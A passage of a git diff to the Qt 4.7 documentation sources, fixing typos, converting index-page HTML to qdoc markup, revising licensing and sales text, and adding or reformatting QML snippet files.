Qt 4.7</a></li> - </ul> - </div> - </div> - </div> - <div class="indexbox api"> - <div class="heading"> - Qt API</div> - <div class="indexboxcont indexboxbar "> - <div class="sectionlist tricol"> - <ul> - <li><a href="classes.html">All Classes</a></li> - <li><a href="functions.html">All Functions</a></li> - <li><a href="modules.html">All Modules</a></li> - <li><a href="namespaces.html">All Namespaces</a></li> - <li><a href="qtglobal.html">Global Declarations</a></li> - <li><a href="licensing.html">Licenses and Credits</a></li> - </ul> - </div> - <div class="sectionlist tricol"> - <ul> - <li><a href="qt-basic-concepts.html">Programming with Qt</a></li> - <li><a href="qt-gui-concepts.html">UI Design with Qt</a></li> - <li><a href="developing-with-qt.html">Cross-platform and Platform-specific</a></li> - <li><a href="technology-apis.html">Qt and Key Technologies</a></li> - <li><a href="best-practices.html">Best Practices Guides</a></li> - </ul> - </div> - <div class="sectionlist"> - <ul> - <li><a href="qtquick.html">Qt Quick</a></li> - <li><a href="qdeclarativeintroduction.html">Introduction to QML</a></li> - <li><a href="qdeclarativeelements.html">QML Elements</a></li> - <li><a href="qdeclarativeexamples.html">QML Examples and Demos</a></li> - </ul> - </div> - </div> - </div> - <div class="indexbox tools"> - <div class="heading"> - Qt Tools</div> - <div class="indexboxcont"> - <div class="section indexIcon"><span></span></div> - <div class="section"> - <p>Qt offers a selection of development tools for different tasks. Use Qt Creator for - project and code management as well as building powerfull UIs.</p> - </div> - <div class="section sectionlist"> - <ul> - <li><a href="http://doc.qt.nokia.com/qtcreator-2.0/index.html">Qt Creator</a></li> - <li><a href="designer-manual.html">Qt Designer</a></li> - <li><a href="linguist-manual.html">Qt Linguist</a></li> - <li><a href="assistant-manual.html">Qt Assistant</a></li> - <li><a href="qmake-manual.html">Qt qmake</a></li> - <li><a href="http://doc.qt.nokia.com/qtsimulator-1.0/index.html">Qt Simulator</a></li> - <li><a href="http://qt.nokia.com/developer/eclipse-integration">Eclipse Integration</a></li> - <li><a href="http://qt.nokia.com/products/appdev">Add-On Products and Services</a></li> - <li><a href="qvfb.html">Virtual Framebuffer</a></li> - </ul> - </div> - </div> - </div> - \endraw + \div {indexbox guide} + \div {heading} + Qt Developer Guide + \enddiv + \div {indexboxcont indexboxbar} + \div {section indexIcon} \emptyspan + \enddiv + \div {section} + Qt is a cross-platform application and UI + framework. Using Qt, you can write web-enabled + applications once and deploy them across desktop, + mobile and embedded operating systems without + rewriting the source code. + \enddiv + \div {section sectionlist} + \list + \o \l{Getting Started Guides}{Getting started} + \o \l{Installation}{Installation} + \o \l{how-to-learn-qt.html}{How to learn Qt} + \o \l{tutorials.html}{Tutorials} + \o \l{Qt Examples}{Examples} + \o \l{qt4-7-intro.html}{What's new in Qt 4.7} + \endlist + \enddiv + \enddiv + \enddiv + \div {indexbox api} + \div {heading} + Qt API + \enddiv + \div {indexboxcont indexboxbar } + \div {sectionlist tricol} + \list + \o \l{All Classes}{All Classes} + \o \l{All Functions}{All Functions} + \o \l{All Modules}{All Modules} + \o \l{All Namespaces}{All Namespaces} + \o \l{Global Qt Declarations}{Global Declarations} + \o \l{Qt Licenses and Credits}{Licenses and Credits} + \endlist + \enddiv + \div {sectionlist tricol} + \list + \o \l{Programming with Qt} + \o \l{UI Design with Qt} + \o \l{Cross-Platform and Platform-Specific Development} + \o \l{Qt and Key Technologies} + \o \l{Best Practice Guides} + \endlist + \enddiv + \div {sectionlist} + \list + \o \l{qtquick.html}{Qt Quick} + \o \l{qdeclarativeintroduction.html}{Introduction to QML} + \o \l{qdeclarativeelements.html}{QML Elements} + \o \l{qdeclarativeexamples.html}{QML Examples and Demos} + \endlist + \enddiv + \enddiv + \enddiv + \div {indexbox tools} + \div {heading} + Qt Tools + \enddiv + \div {indexboxcont} + \div {section indexIcon} \emptyspan + \enddiv + \div {section} + Qt offers a selection of development tools for + different tasks. Use Qt Creator for project and code + management as well as building powerfull UIs. + \enddiv + \div {section sectionlist} + \list + \o \l{http://doc.qt.nokia.com/qtcreator-2.0/index.html}{Qt Creator} + \o \l{designer-manual.html}{Qt Designer} + \o \l{linguist-manual.html}{Qt Linguist} + \o \l{assistant-manual.html}{Qt Assistant} + \o \l{qmake-manual.html}{Qt qmake} + \o \l{http://doc.qt.nokia.com/qtsimulator-1.0/index.html}{Qt Simulator} + \o \l{http://qt.nokia.com/developer/eclipse-integration}{Eclipse Integration} + \o \l{http://qt.nokia.com/products/appdev}{Add-On Products and Services} + \o \l{qvfb.html}{Virtual Framebuffer} + \endlist + \enddiv + \enddiv + \enddiv */ diff --git a/doc/src/internationalization/linguist-manual.qdoc b/doc/src/internationalization/linguist-manual.qdoc index 0caea77..1f413f9 100644 --- a/doc/src/internationalization/linguist-manual.qdoc +++ b/doc/src/internationalization/linguist-manual.qdoc @@ -95,7 +95,7 @@ \o A single phrase may need to be translated into several different forms depending on context, e.g. \e open in English - might become \e{\ouml\c{}ffnen}, "open file", or \e aufbauen, + might become \e{\ouml}\e{ffnen}, "open file", or \e aufbauen, "open internet connection", in German. \o Keyboard accelerators may need to be changed but without @@ -159,7 +159,7 @@ \section1 Qt Project Files The easiest method to use \l{#lupdate} {lupdate} and \l{#lrelease} - {lrelease} is by specifing a \c .pro Qt project file. There must + {lrelease} is by specifying a \c .pro Qt project file. There must be an entry in the \c TRANSLATIONS section of the project file for each language that is additional to the native language. A typical entry looks like this: @@ -342,8 +342,8 @@ the bottom of the main window. The phrases and guesses window shows possible translations for the current string. These translation "guesses" have been read from phrase books - (\menu{Phrases|Open Phrase Book...}). The current string's - current translation is also shown here. To select a guess, double + (\menu{Phrases|Open Phrase Book...}). The current strings + translation is also shown here. To select a guess, double click it in the phrases and guesses window or use the keyboard shortcut shown to the right of the guess. @@ -371,7 +371,7 @@ subwindows are: \l{Context Window} {Context}, \l{Sources and Forms Window} {Sources and Forms}, \l{Strings Window} {Strings}, \l{Phrases and Guesses Window} {Phrases and guesses}, and - \l{Warnings Window} {Warnings} (hidden in the UI snapsot). The + \l{Warnings Window} {Warnings} (hidden in the UI snapshot). The translation area is always visible, but the dockable subwindows can be activated or deactivated in the \menu{View|Views} menu, and dragged around by their title bars and dropped in the translation @@ -513,7 +513,7 @@ \o No Translation \o \inlineimage linguist-check-empty.png \o The string does not have a translation. Click the icon to - accpet the empty translation anyway. The state is reset to + accept the empty translation anyway. The state is reset to \inlineimage linguist-check-on.png , and the number of accepted translations in the \e{Items} column of the \l{Context Window} {context list} is incremented by 1. @@ -567,7 +567,7 @@ When \l{Translating Multiple Languages Simultaneously} {multiple languages} are being translated, this sequence of fields is - repeated for each language. See aso \l {Changing the Target + repeated for each language. See also \l {Changing the Target Locale}. \section2 Phrases and Guesses Window @@ -585,7 +585,7 @@ translation area, or you can use the translation's \e{Guess} hotkey on the right. You can also press \key{F10} to move the focus to the Phrases and Guesses Window, then use the up and down - arrow keys to find the desired translation, and and then press + arrow keys to find the desired translation, and then press \key{Enter} to copy it to the translation area. If you decide that you don't want to copy a phrase after all, press \key{Esc} to return the focus to the translation area. @@ -649,7 +649,7 @@ {translation area} has text editing areas for both Polish and Japanese, and these are color-coded for easier separation. Second, the \l{Context Window} and the \l{Strings Window} both - have two clomuns labeled \inlineimage linguist-check-obsolete.png + have two columns labeled \inlineimage linguist-check-obsolete.png instead of one, and although it may be hard to tell, these columns are also color-coded with the same colors. The left-most column in either case applies to the top-most language area (Polish above) @@ -793,7 +793,7 @@ might reverse the phrases, e.g. \c{Datei %2 wird bearbeitet, wenn Datei %1 fertig ist}. Both numbered arguments appear in the translation, but in the reverse order. \c{%i} will always be - replaced by the same text in the translation stringss, regardless + replaced by the same text in the translation strings, regardless of where argument \e{i} appears in the argument sequence in the source string. @@ -843,7 +843,7 @@ are used to provide a common set of translations to help ensure consistency. They can also be used to avoid duplication of effort since the translations for a family of applications can be produced once in the phrase book. - If the translator reaches an untranslated phrase that is the same as a + If the translator reaches an non-translated phrase that is the same as a source phrase in a phrase book, \QL will show the phrase book entry in the \l {Phrases and Guesses Window}. @@ -935,7 +935,7 @@ List on the left hand. If the path to the files has changed, you can load the files manually via \menu{File|Open Form...}. Double-click on an entry in the Forms List to display the Form File. Select \e{<No Translation>} from - the toolbar to display the untranslated form. + the toolbar to display the non-translated form. \section1 Qt Linguist Reference @@ -1027,7 +1027,7 @@ \o \gui {Translation} \list \o \gui {Prev Unfinished Ctrl+K} \BR moves to the nearest previous - unfinished source phrase (unfinished means untranslated or + unfinished source phrase (unfinished means non-translated or translated but failed validation). \o \gui {Next Unfinished Ctrl+L} \BR moves to the next unfinished source phrase. @@ -1406,7 +1406,7 @@ If a French translation is loaded, this will expand to "0 item remplac\unicode{233}", "1 item remplac\unicode{233}", "2 items remplac\unicode{233}s", etc., depending on \c{n}'s value. - And if no translation is loaded, the orignal string is used, with \c %n + And if no translation is loaded, the original string is used, with \c %n replaced with count's value (e.g., "6 item(s) replaced"). To handle plural forms in the native language, you need to load a diff --git a/doc/src/legal/3rdparty.qdoc b/doc/src/legal/3rdparty.qdoc index 2c8cbef..ffac885 100644 --- a/doc/src/legal/3rdparty.qdoc +++ b/doc/src/legal/3rdparty.qdoc @@ -92,13 +92,8 @@ \section1 HarfBuzz (\c harfbuzz) - \e{This is HarfBuzz, an OpenType Layout engine.} - - \e{It was derived originally from the OpenType code in FreeType-1.x, ported to - FreeType2. (This code has been abandoned for FreeType2, but until something - better comes along, should serve our purposes.) In addition to porting to - FreeType-2, it has been modified in various other ways.} -- quoted from - \c src/3rdparty/harfbuzz/README. + \e{This is HarfBuzz, an OpenType Layout engine library.} + -- quoted from \c src/3rdparty/harfbuzz/README. \hr @@ -129,8 +124,7 @@ \hr - See \c src/3rdparty/harfbuzz/COPYING.FTL and src/3rdparty/harfbuzz/COPYING.GPL - for license details. + See \c src/3rdparty/harfbuzz/COPYING for license details. \section1 The Independent JPEG Group's JPEG Software (\c libjpeg) version 8 diff --git a/doc/src/legal/commercialeditions.qdoc b/doc/src/legal/commercialeditions.qdoc index 37aed3f..2537a13 100644 --- a/doc/src/legal/commercialeditions.qdoc +++ b/doc/src/legal/commercialeditions.qdoc @@ -37,23 +37,46 @@ If you want to develop Free or Open Source software for release using a recognized Open Source license, you can use the \l{Open Source Versions of Qt}. - The table below summarizes the differences between the two commercial editions: + The following table is a summary of the licenses under which Qt is made available. + + \table + \row \o \bold{Qt Commercial Developer License} + \o The Qt Commercial Developer License is the appropriate version to use for the + development of proprietary and/or commercial software where the developer does not + wish to share or distribute any source code of the Qt libraries or otherwise comply + with the terms of the \l{GNU Lesser General Public License (LGPL)}{GNU Lesser General + Public License version 2.1} or \l{GNU General Public License (GPL)}{GNU GPL version + 3.0}. + \row \o \bold{Qt GNU LGPL v. 2.1} + \o This version of Qt is appropriate for the development of Qt applications + (proprietary or open source) provided you can comply with the terms and conditions + contained in the \l{GNU Lesser General Public License (LGPL)}{GNU LGPL version 2.1}. + \row \o \bold{Qt GNU GPL v. 3.0} + \o This version of Qt is appropriate for the development of Qt applications where + you wish to use such applications in combination with software subject to the terms + of the GNU General Public License version 3.0 or where you are otherwise willing to + comply with the terms of the + \l{GNU General Public License (GPL)}{GNU General Public License version 3.0}. + \endtable Please see the \l{Supported Platforms}{list of supported platforms} for up-to-date information about the various platforms and compilers that Qt supports. - On the Qt web site, you can find a + On the Qt Web site, you can find a \l{Qt Licensing Overview} and information on \l{Qt License Pricing} for commercial editions of Qt and other Qt-related products. - To purchase, please visit the \l{How to Order}{online order form}. - - For further information and assistance, please contact Qt sales. + \section1 Purchasing and Sales Information - Web: http://qt.nokia.com/contact. + To purchase, please visit the \l{How to Order}{online order form}. - Phone, U.S. office (for North America): \bold{1-650-813-1676}. + For further information and assistance, please contact the Qt sales team + via one of the following channels: - Phone, Norway office (for the rest of the world): \bold{+47 21 60 48 00}. + \table + \row \o Web: \o \bold{http://qt.nokia.com/contact} + \row \o Phone, U.S. office (for sales in North America): \o \bold{1-408-220-9020} + \row \o Phone, Norway office (for sales in the rest of the world): \o \bold{+47 21 60 48 00} + \endtable */ diff --git a/doc/src/modules.qdoc b/doc/src/modules.qdoc index 9dbf7a7..38a7a8b 100644 --- a/doc/src/modules.qdoc +++ b/doc/src/modules.qdoc @@ -30,7 +30,7 @@ \title All Modules \startpage index.html Qt Reference Documentation \nextpage QtCore - + \ingroup classlists \brief Qt 4 comprises several modules. Each module is a separate @@ -40,7 +40,7 @@ \header \o {2,1} \bold{Modules for general software development} \row \o \l{QtCore} \o Core non-graphical classes used by other modules \row \o \l{QtGui} \o Graphical user interface (GUI) components - \row \o \l{qtmultimedia-module.html}{QtMultimedia} \o Classes for low-level multimedia functionality + \row \o \l{QtMultimedia Module}{QtMultimedia} \o Classes for low-level multimedia functionality \row \o \l{QtNetwork} \o Classes for network programming \row \o \l{QtOpenGL} \o OpenGL support classes \row \o \l{QtOpenVG} \o OpenVG support classes diff --git a/doc/src/overviews.qdoc b/doc/src/overviews.qdoc index 61de954..f51e320 100644 --- a/doc/src/overviews.qdoc +++ b/doc/src/overviews.qdoc @@ -42,7 +42,7 @@ Qt is a cross-platform application and UI framework for writing web-enabled applications for desktop, mobile, and embedded operating systems. This page contains links to articles and overviews - explaining key components and techniuqes used in Qt development. + explaining key components and techniques used in Qt development. \generatelist {related} */ @@ -51,7 +51,7 @@ \group qt-gui-concepts \title UI Design with Qt - \brief The Qt components for constructing native look & feel desktop UI's. + \brief The Qt components for constructing native look and feel desktop UI's. These pages are about Qt's traditional set of GUI components for building both native look & feel and custom UI's for the desktop @@ -122,9 +122,9 @@ /*! \group best-practices - \title Best Practices Guides + \title Best Practice Guides - \brief How-To Guides and Best Practices + \brief How-To and Best Practice Guides These documents provide guidelines and best practices for using Qt to solve specific technical problems. They are listed diff --git a/doc/src/painting-and-printing/coordsys.qdoc b/doc/src/painting-and-printing/coordsys.qdoc index a8febae..252159e 100644 --- a/doc/src/painting-and-printing/coordsys.qdoc +++ b/doc/src/painting-and-printing/coordsys.qdoc @@ -29,6 +29,7 @@ \page coordsys.html \title Coordinate System \ingroup qt-graphics + \ingroup best-practices \brief Information about the coordinate system used by the paint system. diff --git a/doc/src/platforms/emb-accel.qdoc b/doc/src/platforms/emb-accel.qdoc index c987522..5105093 100644 --- a/doc/src/platforms/emb-accel.qdoc +++ b/doc/src/platforms/emb-accel.qdoc @@ -117,8 +117,8 @@ \section1 Step 4: Make the Window Surface Aware of Your Paint Device - Derive from the QWSWindowSurface class and reimplement its \l - {QWSWindowSurface::}{paintDevice()} function. Make this function + Derive from the QWSWindowSurface class and reimplement its + paintDevice() function. Make this function return a pointer to your custom raster paint device. \section1 Step 5: Enable Creation of an Instance of Your Window Surface diff --git a/doc/src/platforms/emb-qvfb.qdoc b/doc/src/platforms/emb-qvfb.qdoc index b83da4a..e0e6fa2 100644 --- a/doc/src/platforms/emb-qvfb.qdoc +++ b/doc/src/platforms/emb-qvfb.qdoc @@ -197,7 +197,6 @@ for the button are redrawn from the activated skin. \row - \row \o \image qt-embedded-clamshellphone-closed.png The ClamshellPhone Skin (closed) \o diff --git a/doc/src/porting/porting4-modifiedvirtual.qdocinc b/doc/src/porting/porting4-modifiedvirtual.qdocinc index 1164238..332543f 100644 --- a/doc/src/porting/porting4-modifiedvirtual.qdocinc +++ b/doc/src/porting/porting4-modifiedvirtual.qdocinc @@ -10,7 +10,7 @@ \row \o bool QMacMime::canConvert(const char *, int) \o bool QMacMime::canConvert(const QString &, int) \row \o QValueList<QByteArray> QMacMime::convertFromMime(QByteArray, const char *, int) \o QList<QByteArray> QMacMime::convertFromMime(QByteArray, const QString &, int) \row \o QByteArray QMacMime::convertToMime(QValueList<QByteArray> data, const char *, int) \o QByteArray QMacMime::convertToMime(QList<QByteArray> data, const QString &, int) -\row \o const char * QMacMime::convertorName() \o QString QMacMime::convertorName() +\row \o const char * QMacMime::convertorName( ) \o QString QMacMime::convertorName( ) \row \o int QMacMime::flavorFor(const char *) \o int QMacMime::flavorFor(const QString &) \row \o const char * QMacMime::mimeFor(int) \o QString QMacMime::mimeFor(int) \row \o QMetaObject * QObject::metaObject() const \o const QMetaObject * QObject::metaObject() const diff --git a/doc/src/porting/porting4.qdoc b/doc/src/porting/porting4.qdoc index 0e8cd86..a3960c3 100644 --- a/doc/src/porting/porting4.qdoc +++ b/doc/src/porting/porting4.qdoc @@ -3609,7 +3609,7 @@ \row \o \c PE_WindowFrame \o QStyle::PE_FrameWindow \row \o \c PE_CheckListController \o QStyle::PE_Q3CheckListController \row \o \c PE_CheckListIndicator \o QStyle::PE_Q3CheckListIndicator - \row \o \c PE_CheckListExclusiveIndicato\o QStyle::PE_Q3CheckListExclusiveIndicator + \row \o \c PE_CheckListExclusiveIndicator \o QStyle::PE_Q3CheckListExclusiveIndicator \row \o \c PE_PanelGroupBox \o QStyle::PE_FrameGroupBox \row \o \c PE_TreeBranch \o QStyle::PE_IndicatorBranch \row \o \c PE_RubberBand \o QStyle::CE_RubberBand \o uses QStyle::drawControl() diff --git a/doc/src/qt-webpages.qdoc b/doc/src/qt-webpages.qdoc index e476b68..5a3bfc9 100644 --- a/doc/src/qt-webpages.qdoc +++ b/doc/src/qt-webpages.qdoc @@ -244,3 +244,8 @@ \externalpage http://labs.qt.nokia.com \title Qt Labs */ + +/*! + \externalpage http://qt.gitorious.org/qt/pages/QtCodingStyle + \title Qt Coding Style +*/ diff --git a/doc/src/qt4-intro.qdoc b/doc/src/qt4-intro.qdoc index 6effbfa..3cabb1c 100644 --- a/doc/src/qt4-intro.qdoc +++ b/doc/src/qt4-intro.qdoc @@ -328,7 +328,7 @@ With Qt 4, the Qt class has become the Qt namespace. If you want to access a constant that is part of the Qt namespace, prefix it - with \c Qt:: (e.g., \c{Qt::yellow}), or add the directive + with \c{Qt::} (e.g., \c{Qt::yellow}), or add the directive \snippet doc/src/snippets/code/doc_src_qt4-intro.qdoc 7 @@ -341,7 +341,7 @@ in Qt 3, it was legal to write \c QWidget::yellow instead of \c Qt::yellow, because QWidget inherited from Qt. This won't work in Qt 4; you must write \c Qt::yellow or add the "using namespace" - directive and drop the \c Qt:: prefix. + directive and drop the \c{Qt::} prefix. The \l{qt3to4 - The Qt 3 to 4 Porting Tool}{qt3to4} porting tool automates this conversion. diff --git a/doc/src/snippets/code/doc_src_lgpl.qdoc b/doc/src/snippets/code/doc_src_lgpl.qdoc index 11fd0ff..3ff5936 100644 --- a/doc/src/snippets/code/doc_src_lgpl.qdoc +++ b/doc/src/snippets/code/doc_src_lgpl.qdoc @@ -96,7 +96,7 @@ modified by someone else and passed on, the recipients should know that what they have is not the original version, so that the original author's reputation will not be affected by problems that might be introduced by others. - + Finally, software patents pose a constant threat to the existence of any free program. We wish to make sure that a company cannot effectively restrict the users of a free program by obtaining a @@ -152,7 +152,7 @@ modification follow. Pay close attention to the difference between a "work based on the library" and a "work that uses the library". The former contains code derived from the library, whereas the latter must be combined with the library in order to run. - + GNU LESSER GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION @@ -199,7 +199,7 @@ Library. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. - + 2. You may modify your copy or copies of the Library or any portion of it, thus forming a work based on the Library, and copy and distribute such modifications or work under the terms of Section 1 @@ -257,7 +257,7 @@ instead of to this License. (If a newer version than version 2 of the ordinary GNU General Public License has appeared, then you can specify that version instead if you wish.) Do not make any other change in these notices. - + Once this change is made in a given copy, it is irreversible for that copy, so the ordinary GNU General Public License applies to all subsequent copies and derivative works made from that copy. @@ -308,7 +308,7 @@ Library will still fall under Section 6.) distribute the object code for the work under the terms of Section 6. Any executables containing that work also fall under Section 6, whether or not they are linked directly with the Library itself. - + 6. As an exception to the Sections above, you may also combine or link a "work that uses the Library" with the Library to produce a work containing portions of the Library, and distribute that work @@ -370,7 +370,7 @@ restrictions of other proprietary libraries that do not normally accompany the operating system. Such a contradiction means you cannot use both them and the Library together in an executable that you distribute. - + 7. You may place library facilities that are a work based on the Library side-by-side in a single library together with other library facilities not covered by this License, and distribute such a combined @@ -388,7 +388,7 @@ permitted, and provided that you do these two things: where to find the accompanying uncombined form of the same work. 8. You may not copy, modify, sublicense, link with, or distribute -the Library except as expressly provided under this License. Any +0the Library except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, link with, or distribute the Library is void, and will automatically terminate your rights under this License. However, parties who have received copies, @@ -411,7 +411,7 @@ subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties with this License. - + 11. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or @@ -463,7 +463,7 @@ conditions either of that version or of any later version published by the Free Software Foundation. If the Library does not specify a license version number, you may choose any version ever published by the Free Software Foundation. - + 14. If you wish to incorporate parts of the Library into other free programs whose distribution conditions are incompatible with these, write to the author to ask for permission. For software which is @@ -497,7 +497,7 @@ SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS - + How to Apply These Terms to Your New Libraries If you develop a new library, and you want it to be of the greatest diff --git a/doc/src/snippets/code/doc_src_stylesheet.qdoc b/doc/src/snippets/code/doc_src_stylesheet.qdoc index 49e2581..9b8a3b5 100644 --- a/doc/src/snippets/code/doc_src_stylesheet.qdoc +++ b/doc/src/snippets/code/doc_src_stylesheet.qdoc @@ -213,7 +213,7 @@ namespace ns { } // ... -qApp->setSytleSheet("ns--MyPushButton { background: yellow; }"); +qApp->setStyleSheet("ns--MyPushButton { background: yellow; }"); //! [27] diff --git a/doc/src/snippets/code/src_corelib_concurrent_qtconcurrentrun.cpp b/doc/src/snippets/code/src_corelib_concurrent_qtconcurrentrun.cpp index 2494eb2..11f5163 100644 --- a/doc/src/snippets/code/src_corelib_concurrent_qtconcurrentrun.cpp +++ b/doc/src/snippets/code/src_corelib_concurrent_qtconcurrentrun.cpp @@ -75,7 +75,7 @@ QString result = future.result(); //! [4] // call 'QList<QByteArray> QByteArray::split(char sep) const' in a separate thread -QByteArray bytearray = "hello world; +QByteArray bytearray = "hello world"; QFuture<QList<QByteArray> > future = QtConcurrent::run(bytearray, &QByteArray::split), ','); ... QList<QByteArray> result = future.result(); diff --git a/doc/src/snippets/declarative/colors.qml b/doc/src/snippets/declarative/colors.qml new file mode 100644 index 0000000..c670eca --- /dev/null +++ b/doc/src/snippets/declarative/colors.qml @@ -0,0 +1,125 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 1.0 + +Rectangle { + width: 160; height: 250 + + Image { + width: 160; height: 200 + source: "pics/checker.svg" + fillMode: Image.Tile + + //! [colors] + Rectangle { + color: "steelblue" + width: 40; height: 40 + } + Rectangle { + color: "transparent" + y: 40; width: 40; height: 40 + } + Rectangle { + color: "#FF0000" + y: 80; width: 40; height: 40 + } + Rectangle { + color: "#800000FF" + y: 120; width: 40; height: 40 + } + Rectangle { + color: "#00000000" // ARGB fully transparent + y: 160 + width: 40; height: 40 + } + //! [colors] + + Rectangle { + x: 40 + width: 120; height: 200 + + Text { + font.pixelSize: 16 + text: "steelblue" + x: 10; height: 40 + verticalAlignment: Text.AlignVCenter + } + Text { + font.pixelSize: 16 + text: "transparent" + x: 10; y: 40; height: 40 + verticalAlignment: Text.AlignVCenter + } + Text { + font.pixelSize: 16 + text: "FF0000" + x: 10; y: 80; height: 40 + verticalAlignment: Text.AlignVCenter + } + Text { + font.pixelSize: 16 + text: "800000FF" + x: 10; y: 120; height: 40 + verticalAlignment: Text.AlignVCenter + } + Text { + font.pixelSize: 16 + text: "00000000" + x: 10; y: 160; height: 40 + verticalAlignment: Text.AlignVCenter + } + } + } + + Image { + y: 210 + width: 40; height: 40 + source: "pics/checker.svg" + fillMode: Image.Tile + } + + Text { + font.pixelSize: 16 + text: "(background)" + x: 50; y: 210; height: 40 + verticalAlignment: Text.AlignVCenter + } +} diff --git a/doc/src/snippets/declarative/focus/focusColumn.qml b/doc/src/snippets/declarative/focus/focusColumn.qml index e6a6fcf..42ee3da 100644 --- a/doc/src/snippets/declarative/focus/focusColumn.qml +++ b/doc/src/snippets/declarative/focus/focusColumn.qml @@ -1,6 +1,6 @@ /**************************************************************************** ** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). ** All rights reserved. ** Contact: Nokia Corporation (qt-info@nokia.com) ** diff --git a/doc/src/snippets/declarative/mousearea/mousearea.qml b/doc/src/snippets/declarative/mousearea/mousearea.qml index e3cbebb..18ea971 100644 --- a/doc/src/snippets/declarative/mousearea/mousearea.qml +++ b/doc/src/snippets/declarative/mousearea/mousearea.qml @@ -46,74 +46,72 @@ Rectangle { width: childrenRect.width height: childrenRect.height -Row { + Row { + //! [intro] + Rectangle { + width: 100; height: 100 + color: "green" -//! [intro] -Rectangle { - width: 100; height: 100 - color: "green" - - MouseArea { - anchors.fill: parent - onClicked: { parent.color = 'red' } - } -} -//! [intro] + MouseArea { + anchors.fill: parent + onClicked: { parent.color = 'red' } + } + } + //! [intro] -//! [intro-extended] -Rectangle { - width: 100; height: 100 - color: "green" + //! [intro-extended] + Rectangle { + width: 100; height: 100 + color: "green" - MouseArea { - anchors.fill: parent - acceptedButtons: Qt.LeftButton | Qt.RightButton - onClicked: { - if (mouse.button == Qt.RightButton) - parent.color = 'blue'; - else - parent.color = 'red'; + MouseArea { + anchors.fill: parent + acceptedButtons: Qt.LeftButton | Qt.RightButton + onClicked: { + if (mouse.button == Qt.RightButton) + parent.color = 'blue'; + else + parent.color = 'red'; + } + } } - } -} -//! [intro-extended] + //! [intro-extended] -//! [drag] -Rectangle { - id: container - width: 600; height: 200 + //! [drag] + Rectangle { + id: container + width: 600; height: 200 - Rectangle { - id: rect - width: 50; height: 50 - color: "red" - opacity: (600.0 - rect.x) / 600 + Rectangle { + id: rect + width: 50; height: 50 + color: "red" + opacity: (600.0 - rect.x) / 600 - MouseArea { - anchors.fill: parent - drag.target: rect - drag.axis: Drag.XAxis - drag.minimumX: 0 - drag.maximumX: container.width - rect.width + MouseArea { + anchors.fill: parent + drag.target: rect + drag.axis: Drag.XAxis + drag.minimumX: 0 + drag.maximumX: container.width - rect.width + } + } } - } -} -//! [drag] + //! [drag] -//! [mousebuttons] -Text { - text: mouseArea.pressedButtons & Qt.RightButton ? "right" : "" - horizontalAlignment: Text.AlignHCenter - verticalAlignment: Text.AlignVCenter - - MouseArea { - id: mouseArea - anchors.fill: parent - acceptedButtons: Qt.LeftButton | Qt.RightButton - } -} -//! [mousebuttons] + //! [mousebuttons] + Text { + text: mouseArea.pressedButtons & Qt.RightButton ? "right" : "" + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter -} + MouseArea { + id: mouseArea + anchors.fill: parent + acceptedButtons: Qt.LeftButton | Qt.RightButton + } + } + //! [mousebuttons] + } } diff --git a/doc/src/snippets/declarative/pics/checker.svg b/doc/src/snippets/declarative/pics/checker.svg new file mode 100644 index 0000000..374d89d --- /dev/null +++ b/doc/src/snippets/declarative/pics/checker.svg @@ -0,0 +1,17 @@ +<?xml version="1.0" standalone="no"?> +<svg width="10px" height="10px" viewBox="0 0 10px 10px" + xmlns="http://www.w3.org/2000/svg" + xmlns:xlink="http://www.w3.org/1999/xlink/" + baseProfile="tiny" version="1.2"> + <title>Checker</title> + <desc>A checkerboard pattern to use as a background.</desc> + <g fill="#e0e0e0" stroke="none" > + <rect x="0" y="0" width="10px" height="10px" /> + </g> + <g fill="#404040" stroke="none" > + <rect x="0" y="0" width="5px" height="5px" /> + </g> + <g fill="#404040" stroke="none" > + <rect x="5px" y="5px" width="5px" height="5px" /> + </g> +</svg> diff --git a/doc/src/snippets/declarative/propertyaction-sequential.qml b/doc/src/snippets/declarative/propertyaction-sequential.qml new file mode 100644 index 0000000..a60b1f4 --- /dev/null +++ 